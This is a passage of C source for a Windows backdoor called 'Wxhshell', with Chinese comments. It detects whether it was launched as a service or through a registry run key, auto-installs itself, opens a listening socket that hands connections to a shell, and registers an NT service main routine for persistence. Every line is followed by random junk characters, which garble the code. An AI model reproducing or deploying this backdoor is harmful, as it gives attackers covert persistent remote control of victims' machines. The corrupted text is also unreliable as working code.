ULONG InheritedFromUniqueProcessId; {DKXn`V
} PROCESS_BASIC_INFORMATION; AyQS4A.s[
w8eG;
PROCNTQSIP NtQueryInformationProcess; w$w>N(e
Tns?mQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @rnp- +kq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jxRF" GD
8@Egy%_
HANDLE hProcess; *(?U
PROCESS_BASIC_INFORMATION pbi; :z0s*,QH
LydbP17K}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ek<PISlci
if(NULL == hInst ) return 0; hQgk.$g
FRl3\ZDqrb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oV0LJ%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ga4/,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e%P+KX
6F|Hg2tpz
if (!NtQueryInformationProcess) return 0; DFt=%aV[
_hAj2%SL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P!`Q_h6a
if(!hProcess) return 0; c8bca`
7\7 Brw4
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yt/20a
6%\7.h
CloseHandle(hProcess); SREDM
\_*?R,$3Y,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S5:"_U
if(hProcess==NULL) return 0; |i,zY{GI+2
OqfhCNAY
HMODULE hMod; n/9 LRZD|w
char procName[255]; ^ l]]qdNr
unsigned long cbNeeded; =:xV(GK}
'Z*\1Ci
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jI*}y[o
QLn5#x~xb
CloseHandle(hProcess); 5 {T9*
q7 %=`l
if(strstr(procName,"services")) return 1; // 以服务启动 b>hBct}
T..N*6<X
return 0; // 注册表启动 y1,?ZWTayr
} ]y1$F
Ir+
wQo6!H"K
// 主模块 ..P=D <'f
int StartWxhshell(LPSTR lpCmdLine) LG/=+[\{E
{ )0Y #-=.<
SOCKET wsl; TIK/ %T
BOOL val=TRUE; A%NK0j$;}
int port=0; 1M%{Uqsd -
struct sockaddr_in door; 1S*8v 7
w>NZRP_3
if(wscfg.ws_autoins) Install(); ?/`C~e<J
R`Ys;g/!
port=atoi(lpCmdLine); SeRK7Q&_
,_"7|z wb
if(port<=0) port=wscfg.ws_port; ~6@c]:
D-TNFYYy2
WSADATA data; cM> G>Yzo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! /|0:QQi
#hy5c,}>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .RQ Xxw
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ct =E;v7}
door.sin_family = AF_INET; _Ep{|]:gw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~>}dse
door.sin_port = htons(port); \j2:
6]Hm
U<ku_(2"#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -dc5D@4`#s
closesocket(wsl); Q{H!s_6iyv
return 1; 2 Ft0C2
} XhlI|h-j
;X*K*q
if(listen(wsl,2) == INVALID_SOCKET) { zumR( <l
closesocket(wsl); 3X-{2R/ 3
return 1; %KabyvOl)
} g[=\KrTSg
Wxhshell(wsl); 7`u A
WSACleanup(); X <ba|(
7.lK$J:
return 0; h8iaJqqvJ
~,1-$#R
} CO:m]oj
bBeFL~
// 以NT服务方式启动 mR"2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M\Uc;:) H
{ 2HvTM8
DWORD status = 0; +H)!uLvaB
DWORD specificError = 0xfffffff; V',m $
^td!g1"<
serviceStatus.dwServiceType = SERVICE_WIN32; /H\^l.|vk
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0]:*v?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J-eA,9J
serviceStatus.dwWin32ExitCode = 0; 9:CVN@E
serviceStatus.dwServiceSpecificExitCode = 0; ~
X]"P4 u
serviceStatus.dwCheckPoint = 0; o5*74Mv
serviceStatus.dwWaitHint = 0; &P,4EaC9;
=B/s HN
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (?*mh?
if (hServiceStatusHandle==0) return; Y-neD?V N
ySr091Q
status = GetLastError(); m 1'&{O:
if (status!=NO_ERROR) K*HVn2OV
{ &|'Kut?8
serviceStatus.dwCurrentState = SERVICE_STOPPED; 32iWYN
serviceStatus.dwCheckPoint = 0; eSvc/ CU
serviceStatus.dwWaitHint = 0; ;4S
[ba1/
serviceStatus.dwWin32ExitCode = status; ?v )"%.
serviceStatus.dwServiceSpecificExitCode = specificError; $X.'W\o|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (zM+7tJH
return; 43}&w